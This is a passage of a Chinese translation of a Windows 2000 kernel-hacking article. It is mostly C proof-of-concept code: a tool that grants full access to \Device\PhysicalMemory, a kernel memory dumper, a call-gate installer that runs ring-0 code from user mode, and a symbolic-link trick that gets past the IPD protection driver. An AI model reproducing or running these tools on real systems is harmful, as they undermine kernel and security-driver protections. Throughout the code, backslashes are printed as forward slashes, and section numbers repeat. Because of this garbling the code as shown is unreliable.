    通过查看ntdll.dll的导出表,你可以找到一个叫"NtCreateSymbolicLinkObject"的函数,跟其他很
多有意思的东西一样,它也没有被公开。它的原型类似:

NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                                    ACCESS_MASK DesiredAccess,
                                    POBJECT_ATTRIBUTES ObAttributes,
                                    PUNICODE_STRING ObName);

    因此,我们只需要用"/Device/PhysicalMemory"作为ObName来调用这个函数,并在OBJECT_ATTRIBUTES
结构中设置新的名字。我们用"/??/"作为对象的根目录,那么名字就是:"/??/hack_da_ipd"。

    起初,我问自己当用"/??/hack_da_ipd"来调用NtOpenSection的时候,核心怎么来处理symbolic link。
如果NtOpenSection检查目标对象是一个symbolic link,那么就再次调用 NtOpenSection,并且用对象的
真实名字,我们的symbolic link没有用处,因为IPD能探测得到。因此我跟踪了一下:

---
[...]
3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,
     "/??/hack_da_ipd"}, 1245028, ... 48, ) == 0x0
4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0
5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...          
     {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0
6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "/??/hack_da_ipd"}, ... 44, )  
     == 0x0
7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
     148, 2, 868, 840, 7003, 0}, ) == 0x0
8 NtClose (44, ... ) == 0x0
9 NtClose (48, ... ) == 0x0
[...]
---

    (windows版的strace可以在BindView's RAZOR站点找到。 [7])

    正如你所见,NtOpenSection函数根本不会重调自己来处理真实的对象名字,这简直太好了!这样,
/Device/PhysicalMemory就完全的我们的了,而IPD简直糟透了。记住,你必须在SYSTEM用户下运行该程序。


--[ 5 示例代码

LICENSE:
Sample code provided with the article may be copied/duplicated and modified
in any form as long as this copyright is prepended unmodified.
Code are proof of concept and the author can and must not be made
responsible for any damage/data loss.
Use this code at your own risk.

                                            crazylord / CNS

----[ 5.1 kmem.h

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE    0x00000200L

typedef LONG NTSTATUS;
#define STATUS_SUCCESS       (NTSTATUS) 0x00000000L
#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// useful macros
#define InitializeObjectAttributes( p, n, a, r, s ) { /
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        /
    (p)->RootDirectory = r;                           /
    (p)->Attributes = a;                              /
    (p)->ObjectName = n;                              /
    (p)->SecurityDescriptor = s;                      /
    (p)->SecurityQualityOfService = NULL;             /
    }

#define INIT_UNICODE(_var,_buffer)            /
        UNICODE_STRING _var = {               /
            sizeof (_buffer) - sizeof (WORD), /
            sizeof (_buffer),                 /
            _buffer }

// callgate info
typedef struct _KGDTENTRY {
   WORD LimitLow;
   WORD BaseLow;
   WORD BaseHigh;
} KGDTENTRY, *PKGDTENTRY;

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4;
   UCHAR  app_system  :1;
   UCHAR  dpl         :2;
   UCHAR  present     :1;
   USHORT offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

// section info
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MAPPING {
/*000*/ PHYSICAL_ADDRESS pAddress;
/*008*/ PVOID            vAddress;
/*00C*/ DWORD            Offset;
/*010*/ } MAPPING, *PMAPPING;

// symlink info
#define SYMBOLIC_LINK_QUERY                              (0x0001)
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

// process info
// Flink to _EPROCESS
#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)
// Flink to UniqueProcessId
#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)
// Flink to ImageFileName
#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {
/*000*/ UCHAR Type;
/*001*/ UCHAR Absolute;
/*002*/ UCHAR Size;
/*003*/ UCHAR Inserted;
/*004*/ LONG SignalState;
/*008*/ LIST_ENTRY WaitListHead;
/*010*/ } DISPATCHER_HEADER;

typedef struct _KEVENT {
/*000*/ DISPATCHER_HEADER Header;
/*010*/ } KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {
/*000*/ LONG Count;
/*004*/ PVOID Owner;
/*008*/ ULONG Contention;
/*00C*/ KEVENT Event;
/*01C*/ ULONG OldIrql;
/*020*/ } FAST_MUTEX, *PFAST_MUTEX;

// the two following definition come from w2k_def.h by Sven B. Schreiber
typedef struct _MMSUPPORT {
/*000*/ LARGE_INTEGER LastTrimTime;
/*008*/ DWORD         LastTrimFaultCount;
/*00C*/ DWORD         PageFaultCount;
/*010*/ DWORD         PeakWorkingSetSize;
/*014*/ DWORD         WorkingSetSize;
/*018*/ DWORD         MinimumWorkingSetSize;
/*01C*/ DWORD         MaximumWorkingSetSize;
/*020*/ PVOID         VmWorkingSetList;
/*024*/ LIST_ENTRY    WorkingSetExpansionLinks;
/*02C*/ BOOLEAN       AllowWorkingSetAdjustment;
/*02D*/ BOOLEAN       AddressSpaceBeingDeleted;
/*02E*/ BYTE          ForegroundSwitchCount;
/*02F*/ BYTE          MemoryPriority;
/*030*/ } MMSUPPORT, *PMMSUPPORT;

typedef struct _IO_COUNTERS {
/*000*/ ULONGLONG  ReadOperationCount;
/*008*/ ULONGLONG  WriteOperationCount;
/*010*/ ULONGLONG  OtherOperationCount;
/*018*/ ULONGLONG ReadTransferCount;
/*020*/ ULONGLONG WriteTransferCount;
/*028*/ ULONGLONG OtherTransferCount;
/*030*/ } IO_COUNTERS, *PIO_COUNTERS;

// this is a very simplified version :) of the EPROCESS
// structure.

typedef struct _EPROCESS {
/*000*/ BYTE                   Pcb[0x6C];
/*06C*/ NTSTATUS               ExitStatus;
/*070*/ KEVENT                 LockEvent;
/*080*/ DWORD                  LockCount;
/*084*/ DWORD                  dw084;
/*088*/ LARGE_INTEGER          CreateTime;
/*090*/ LARGE_INTEGER          ExitTime;
/*098*/ PVOID                  LockOwner;
/*09C*/ DWORD                  UniqueProcessId;
/*0A0*/ LIST_ENTRY             ActiveProcessLinks; // see PsActiveListHead
/*0A8*/ DWORD                  QuotaPeakPoolUsage[2]; // NP, P
/*0B0*/ DWORD                  QuotaPoolUsage[2]; // NP, P
/*0B8*/ DWORD                  PagefileUsage;
/*0BC*/ DWORD                  CommitCharge;
/*0C0*/ DWORD                  PeakPagefileUsage;
/*0C4*/ DWORD                  PeakVirtualSize;
/*0C8*/ LARGE_INTEGER          VirtualSize;
/*0D0*/ MMSUPPORT              Vm;
/*100*/ LIST_ENTRY             SessionProcessLinks;
/*108*/ DWORD                  dw108[6];
/*120*/ PVOID                  DebugPort;
/*124*/ PVOID                  ExceptionPort;
/*128*/ PVOID                  ObjectTable;
/*12C*/ PVOID                  Token;
/*130*/ FAST_MUTEX             WorkingSetLock;
/*150*/ DWORD                  WorkingSetPage;
/*154*/ BOOLEAN                ProcessOutswapEnabled;
/*155*/ BOOLEAN                ProcessOutswapped;
/*156*/ BOOLEAN                AddressSpaceInitialized;
/*157*/ BOOLEAN                AddressSpaceDeleted;
/*158*/ FAST_MUTEX             AddressCreationLock;
/*178*/ KSPIN_LOCK             HyperSpaceLock;
/*17C*/ DWORD                  ForkInProgress;
/*180*/ WORD                   VmOperation;
/*182*/ BOOLEAN                ForkWasSuccessful;
/*183*/ BYTE                   MmAgressiveWsTrimMask;
/*184*/ DWORD                  VmOperationEvent;
/*188*/ PVOID                  PaeTop;
/*18C*/ DWORD                  LastFaultCount;
/*190*/ DWORD                  ModifiedPageCount;
/*194*/ PVOID                  VadRoot;
/*198*/ PVOID                  VadHint;
/*19C*/ PVOID                  CloneRoot;
/*1A0*/ DWORD                  NumberOfPrivatePages;
/*1A4*/ DWORD                  NumberOfLockedPages;
/*1A8*/ WORD                   NextPageColor;
/*1AA*/ BOOLEAN                ExitProcessCalled;
/*1AB*/ BOOLEAN                CreateProcessReported;
/*1AC*/ HANDLE                 SectionHandle;
/*1B0*/ PVOID                  Peb;
/*1B4*/ PVOID                  SectionBaseAddress;
/*1B8*/ PVOID                  QuotaBlock;
/*1BC*/ NTSTATUS               LastThreadExitStatus;
/*1C0*/ DWORD                  WorkingSetWatch;
/*1C4*/ HANDLE                 Win32WindowStation;
/*1C8*/ DWORD                  InheritedFromUniqueProcessId;
/*1CC*/ ACCESS_MASK            GrantedAccess;
/*1D0*/ DWORD                  DefaultHardErrorProcessing; // HEM_*
/*1D4*/ DWORD                  LdtInformation;
/*1D8*/ PVOID                  VadFreeHint;
/*1DC*/ DWORD                  VdmObjects;
/*1E0*/ PVOID                  DeviceMap;
/*1E4*/ DWORD                  SessionId;
/*1E8*/ LIST_ENTRY             PhysicalVadList;
/*1F0*/ PVOID                  PageDirectoryPte;
/*1F4*/ DWORD                  dw1F4;
/*1F8*/ DWORD                  PaePageDirectoryPage;
/*1FC*/ CHAR                   ImageFileName[16];
/*20C*/ DWORD                  VmTrimFaultValue;
/*210*/ BYTE                   SetTimerResolution;
/*211*/ BYTE                   PriorityClass;
/*212*/ WORD                   SubSystemVersion;
/*214*/ PVOID                  Win32Process;
/*218*/ PVOID                  Job;
/*21C*/ DWORD                  JobStatus;
/*220*/ LIST_ENTRY             JobLinks;
/*228*/ PVOID                  LockedPagesList;
/*22C*/ PVOID                  SecurityPort;
/*230*/ PVOID                  Wow64;
/*234*/ DWORD                  dw234;
/*238*/ IO_COUNTERS            IoCounters;
/*268*/ DWORD                  CommitChargeLimit;
/*26C*/ DWORD                  CommitChargePeak;
/*270*/ LIST_ENTRY             ThreadListHead;
/*278*/ PVOID                  VadPhysicalPagesBitMap;
/*27C*/ DWORD                  VadPhysicalPages;
/*280*/ DWORD                  AweLock;
/*284*/ } EPROCESS, *PEPROCESS;


// copy ntdll.lib from Microsoft DDK to current directory
#pragma comment(lib, "ntdll")
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall

IMP_SYSCALL
NtMapViewOfSection(HANDLE SectionHandle,
                   HANDLE ProcessHandle,
                   PVOID *BaseAddress,
                   ULONG ZeroBits,
                   ULONG CommitSize,
                   PLARGE_INTEGER SectionOffset,
                   PSIZE_T ViewSize,
                   SECTION_INHERIT InheritDisposition,
                   ULONG AllocationType,
                   ULONG Protect);

IMP_SYSCALL
NtUnmapViewOfSection(HANDLE ProcessHandle,
                     PVOID BaseAddress);

IMP_SYSCALL
NtOpenSection(PHANDLE SectionHandle,
              ACCESS_MASK DesiredAccess,
              POBJECT_ATTRIBUTES ObjectAttributes);

IMP_SYSCALL
NtClose(HANDLE Handle);

IMP_SYSCALL
NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                           ACCESS_MASK DesiredAccess,
                           POBJECT_ATTRIBUTES ObjectAttributes,
                           PUNICODE_STRING TargetName);


----[ 5.2 chmod_mem.c

#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include "../kmem.h"

void usage(char *n) {
   printf("usage: %s (/current | /user) [who]/n", n);
   printf("/current: add all access to current user/n");
   printf("/user   : add all access to user 'who'/n");
   exit(0);
}

int main(int argc, char **argv) {
   HANDLE               Section;
   DWORD                Res;
   NTSTATUS             ntS;
   PACL                 OldDacl=NULL, NewDacl=NULL;
   PSECURITY_DESCRIPTOR SecDesc=NULL;
   EXPLICIT_ACCESS      Access;
   OBJECT_ATTRIBUTES    ObAttributes;
   INIT_UNICODE(ObName, L"//Device//PhysicalMemory");
   BOOL                 mode;

   if (argc < 2)
      usage(argv[0]);

   if (!strcmp(argv[1], "/current")) {
      mode = 1;
   } else if (!strcmp(argv[1], "/user") && argc == 3) {
     mode = 2;
   } else
      usage(argv[0]);

   memset(&Access, 0, sizeof(EXPLICIT_ACCESS));
   InitializeObjectAttributes(&ObAttributes,
                              &ObName,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   // open handle de /Device/PhysicalMemory
   ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtOpenSection (code: %x)/n", ntS);
      goto cleanup;
   }
  
   // retrieve a copy of the security descriptor
   Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl,
                         NULL, &SecDesc);
   if (Res != ERROR_SUCCESS) {
      printf("error: GetSecurityInfo (code: %lu)/n", Res);
      goto cleanup;
   }

   Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P
   Access.grfAccessMode        = GRANT_ACCESS;
   Access.grfInheritance       = NO_INHERITANCE;
   Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
   // change these informations to grant access to a group or other user
   Access.Trustee.TrusteeForm  = TRUSTEE_IS_NAME;
   Access.Trustee.TrusteeType  = TRUSTEE_IS_USER;
   if (mode == 1)
      Access.Trustee.ptstrName = "CURRENT_USER";
   else
     Access.Trustee.ptstrName = argv[2];

   // create the new ACL
   Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)/n", Res);
      goto cleanup;
   }

   // update ACL
   Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl,
                         NULL);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)/n", Res);
      goto cleanup;
   }
   printf("//Device//PhysicalMemory chmoded/n");
  
cleanup:
   if (Section)
      NtClose(Section);
   if (SecDesc)
      LocalFree(SecDesc);
   return(0);
}


----[ 5.3 winkdump.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#include "../kmem.h"

ULONG   Granularity;

// thanx to kraken for the hexdump function
void hexdump(unsigned char *data, unsigned int amount) {
   unsigned int      dp, p;
   const char        trans[] =
      "................................ !/"#$%&'()*+,-./0123456789"
      ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[//]^_`abcdefghijklm"
      "nopqrstuvwxyz{|}~...................................."
      "....................................................."
      "........................................";

   for (dp = 1; dp <= amount; dp++)  {
      printf ("%02x ", data[dp-1]);
      if ((dp % 8) == 0)
         printf (" ");
      if ((dp % 16) == 0) {
         printf ("| ");
         p = dp;
         for (dp -= 16; dp < p; dp++)
            printf ("%c", trans[data[dp]]);
         printf ("/n");
      }
   }
   if ((amount % 16) != 0) {
      p = dp = 16 - (amount % 16);
      for (dp = p; dp > 0; dp--) {
         printf ("   ");
         if (((dp % 8) == 0) && (p != 8))
            printf (" ");
      }
      printf (" | ");
      for (dp = (amount - (16 - p)); dp < amount; dp++)
         printf ("%c", trans[data[dp]]);
   }
   printf ("/n");
   return ;
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;
  
   if (vAddress < 0x80000000L || vAddress >= 0xA0000000L)
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   else
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   return(add);
}

int InitSection(PHANDLE Section) {
   NTSTATUS          ntS;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObString, L"//Device//PhysicalMemory");
  
   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);
  
   // open /Device/PhysicalMemory
   ntS = NtOpenSection(Section,
                       SECTION_MAP_READ,
                       &ObAttributes);
  
   if (ntS != STATUS_SUCCESS) {
      printf(" * error NtOpenSection (code: %x)/n", ntS);
      return(0);
   }
   return(1);
}

int main(int argc, char **argv) {
   NTSTATUS         ntS;
   ULONG            Address, Size, MappedSize, Offset;
   HANDLE           Section;
   PVOID            MappedAddress=NULL;
   SYSTEM_INFO      SysInfo;
   PHYSICAL_ADDRESS pAddress;
  
   printf(" *** win2k memory dumper ***/n/n");
  
   if (argc != 3) {
      printf("usage: %s <address> <size>/n", argv[0]);
      return(0);
   }
  
   Address = strtoul(argv[1], NULL, 0);
   MappedSize = Size = strtoul(argv[2], NULL, 10);
   printf(" Virtual Address       : 0x%.8x/n", Address);
  
   if (!Size) {
      printf("error: invalid size/n");
      return(0);
   }
  
   // get allocation granularity information
   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf(" Allocation granularity: %lu bytes/n", Granularity);
   if (!InitSection(&Section))
      return(0);
  
   Offset = Address % Granularity;
   MappedSize += Offset; // reajust mapping view
   printf(" Offset                : 0x%x/n", Offset);
   pAddress = GetPhysicalAddress(Address - Offset);
   printf(" Physical Address      : 0x%.16x/n", pAddress);

   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,
                            MappedSize, &pAddress, &MappedSize, ViewShare,
                            0, PAGE_READONLY);

   printf(" Mapped size           : %lu bytes/n", MappedSize);
   printf(" View size             : %lu bytes/n/n", Size);

   if (ntS == STATUS_SUCCESS) {
      hexdump((char *)MappedAddress+Offset, Size);
      NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
   } else {
      if (ntS == 0xC00000F4L)
         printf("error: invalid physical address translation/n");
      else
         printf("error: NtMapViewOfSection (code: %x)/n", ntS);
   }

   NtClose(Section);
   return(0);
}


----[ 5.2 winkps.c

// code very messy but working :)
#include <stdio.h>
#include <windows.h>
#include "../kmem.h"

// get this address from win2k symbols
#define PSADD    0x8046A180 // PsActiveProcessHead
// default base address for ntoskrnl.exe on win2k
#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress
// max process, to prevent easy crashing
#define MAX_PROCESS 50

typedef struct _MY_CG {
   PHYSICAL_ADDRESS     pAddress;
   PVOID                MappedAddress;
   PCALLGATE_DESCRIPTOR Desc;
   WORD                 Segment;
   WORD                 LastEntry;
} MY_CG, *PMY_CG;

ULONG         Granularity;
PLIST_ENTRY   PsActiveProcessHead = (PLIST_ENTRY) PSADD;
MY_CG         GdtMap;
MAPPING       CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {
   _asm {
      pushad
      pushf
      cli

      mov esi, CurMap.vAddress
      push esi
      call MmGetPhysicalAddress
      mov CurMap.pAddress, eax  // save low part of LARGE_INTEGER
      mov [CurMap+4], edx       // save high part of LARGE_INTEGER

      popf
      popad
      retf
   }
}

// function which call the callgate
PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {
   WORD   farcall[3];
   HANDLE Thread = GetCurrentThread();

   farcall[2] = GdtMap.Segment;

   if(!VirtualLock((PVOID) Ring0Func, 0x30)) {
      printf("error: unable to lock function/n");
      CurMap.pAddress.QuadPart = 1;
   } else {
      CurMap.vAddress = vAddress; // ugly way to pass argument
      CurMap.Offset   = (DWORD) vAddress % Granularity;
      (DWORD) CurMap.vAddress -= CurMap.Offset;

      SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);
      Sleep(0);

      _asm call fword ptr [farcall]

      SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);
      VirtualUnlock((PVOID) Ring0Func, 0x30);
   }
   return(CurMap.pAddress);
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;

    if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   } else {
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   }
   return(add);
}

void UnmapMemory(PVOID MappedAddress) {
   NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
}

int InstallCallgate(HANDLE Section, DWORD Function) {
   NTSTATUS             ntS;
   KGDTENTRY            gGdt;
   DWORD                Size;
   PCALLGATE_DESCRIPTOR CgDesc;

   _asm sgdt gGdt;

   printf("virtual address of GDT : 0x%.8x/n",
          MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   GdtMap.pAddress =
              GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   printf("physical address of GDT: 0x%.16x/n", GdtMap.pAddress.QuadPart);
  
   Size = gGdt.LimitLow;
   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
                            0L, Size, &GdtMap.pAddress, &Size, ViewShare,
                            0, PAGE_READWRITE);
   if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
      printf("error: NtMapViewOfSection (code: %x)/n", ntS);
      return(0);
   }

   GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry
   for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),
       GdtMap.Desc=NULL;
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
       CgDesc--) {
      
      //printf("present:%x, type:%x/n", CgDesc->present, CgDesc->type);
      if(CgDesc->present == 0){
         CgDesc->offset_0_15  = (WORD) (Function & 0xFFFF);
         CgDesc->selector     = 8;
         CgDesc->param_count  = 0; //1;
         CgDesc->some_bits    = 0;
         CgDesc->type         = 12;     // 32-bits callgate junior :>
         CgDesc->app_system   = 0;      // A system segment
         CgDesc->dpl          = 3;      // Ring 3 code can call
         CgDesc->present      = 1;
         CgDesc->offset_16_31 = (WORD) (Function >> 16);
         GdtMap.Desc = CgDesc;
         break;
      }

   }

   if (GdtMap.Desc == NULL) {
      printf("error: unable to find free entry for installing callgate/n");
      printf("       not normal by the way .. your box is strange =]/n");
   }

   GdtMap.Segment =
      ((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
   printf("Allocated segment      : %x/n", GdtMap.Segment);
   return(1);
}

int UninstallCallgate(HANDLE Section, DWORD Function) {
   PCALLGATE_DESCRIPTOR CgDesc;

   for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
      CgDesc--) {
      
      if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))
         && CgDesc->offset_16_31 == (WORD) (Function >> 16)){
         memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));
         return(1);
      }
   }
   NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);
   return(0);
}

void UnmapVirtualMemory(PVOID vAddress) {
   NtUnmapViewOfSection((HANDLE) -1, vAddress);
}

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {
   PHYSICAL_ADDRESS pAddress;
   NTSTATUS         ntS;
   DWORD            MappedSize;
   PVOID            MappedAddress=NULL;

   //printf("* vAddress: 0x%.8x/n", vAddress);
   pAddress = NewGetPhysicalAddress((PVOID) vAddress);
   //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)/n",
   //       CurMap.vAddress, CurMap.Offset);
   //printf("* pAddress: 0x%.16x/n", pAddress);

   // check for error (1= impossible value)
   if (pAddress.QuadPart != 1) {
      Size += CurMap.Offset; // adjust mapping view
      MappedSize = Size;

      ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,
                         0L, Size, &pAddress, &MappedSize, ViewShare,
                         0, PAGE_READONLY);
      if (ntS != STATUS_SUCCESS || !MappedSize) {
         printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)/n",
                vAddress, ntS);
         return(NULL);
      }
   } else
      MappedAddress = NULL;
   printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)/n",
         MappedSize, MappedAddress, Size);
   return(MappedAddress);
}

void DisplayProcesses(HANDLE Section) {
   int i = 0;
   DWORD     Padding;
   PEPROCESS CurProcess, NextProcess;
   PVOID     vCurEntry, vOldEntry, NewMappedAddress;
   PLIST_ENTRY PsCur;

   // first we map PsActiveProcessHead to get first entry
   vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);
   if (!vCurEntry)
      return;
   PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);
  
   // most of EPROCESS struct are located around 0xfc[e-f]00000
   // so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping
   while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {
      NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);
      //printf("==> Current process: %x/n", CurProcess);

      // we map 0x100000 bytes view so we store offset to EPROCESS
      Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;

      // check if the next struct is already mapped in memory
      if ((DWORD) vCurEntry<= (DWORD) NextProcess
         && (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){
         // no need to remap
         // no remapping so we need to calculate the new address
         CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

      } else {
         CurProcess = NextProcess;
         // unmap old view and map a new one
         // calculate next base address to map
         vOldEntry = vCurEntry;
         vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);

         //printf("link: %x, process: %x, to_map: %x, padding: %x/n",
         //    PsCur->Flink, TO_EPROCESS(PsCur->Flink),
         //    vCurEntry, Padding);

         // unmap old view
         UnmapVirtualMemory(vOldEntry);
         vOldEntry = vCurEntry;
         // map new view
         vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);
         if (!vCurEntry)
            break;
         // adjust EPROCESS structure pointer
         CurProcess =
                 (PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);
         // save mapped address
         NewMappedAddress = vCurEntry;
         // restore pointer from mapped addresses space 0x4**** to
         // the real virtual address 0xf*******
         vCurEntry = vOldEntry;
      }

      // reajust pointer to LIST_ENTRY struct
      PsCur = &CurProcess->ActiveProcessLinks;
      printf(" + %lu/t %s/n", CurProcess->UniqueProcessId,
             CurProcess->ImageFileName[0] ?
             CurProcess->ImageFileName : "[system]");
      i++;
   }

   UnmapVirtualMemory(vCurEntry);
}

int main(int argc, char **argv) {
   SYSTEM_INFO       SysInfo;
   OBJECT_ATTRIBUTES ObAttributes;
   NTSTATUS          ntS;
   HANDLE            Section;
   HMODULE           hDll;
   INIT_UNICODE(ObString, L"//Device//PhysicalMemory");

   printf(" *** win2k process lister ***/n/n");

   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf("Allocation granularity: %lu bytes/n", Granularity);
   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   hDll = LoadLibrary("ntoskrnl.exe");
   if (hDll) {
      MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
                    (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
      printf("MmGetPhysicalAddress   : 0x%.8x/n", MmGetPhysicalAddress);
      FreeLibrary(hDll);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,
                       &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      if (ntS == STATUS_ACCESS_DENIED)
         printf("error: access denied to open
                                      //Device//PhysicalMemory for r/w/n");
      else
         printf("error: NtOpenSection (code: %x)/n", ntS);
      goto cleanup;
   }

   if (!InstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

   memset(&CurMap, 0, sizeof(MAPPING));

   __try {
      DisplayProcesses(Section);
   } __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
      printf("exception: trying to clean callgate.../n");
      goto cleanup;
   }

   if (!UninstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

cleanup:
   if (Section)
      NtClose(Section);
   return(0);
}


----[ 5.4 fun_with_ipd.c

#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "../kmem.h"

int main() {
   NTSTATUS          ntS;
   HANDLE            SymLink, Section;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObName, L"//Device//PhysicalMemory");
   INIT_UNICODE(ObNewName, L"//??//hack_da_ipd");

   InitializeObjectAttributes(&ObAttributes,
                              &ObNewName,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,
                                    &ObAttributes, &ObName);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtCreateSymbolicLinkObject (code: %x)/n", ntS);
      return(0);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);
   if (ntS != STATUS_SUCCESS)
      printf("error: NtOpenSection (code: %x)/n", ntS);
   else {
      printf("//Device//PhysicalMemory opened !!!/n");
      NtClose(Section);
   }

   // now you can do what you want
   getch();

   NtClose(SymLink);
   return(0);
}



--[ 6 - 结论

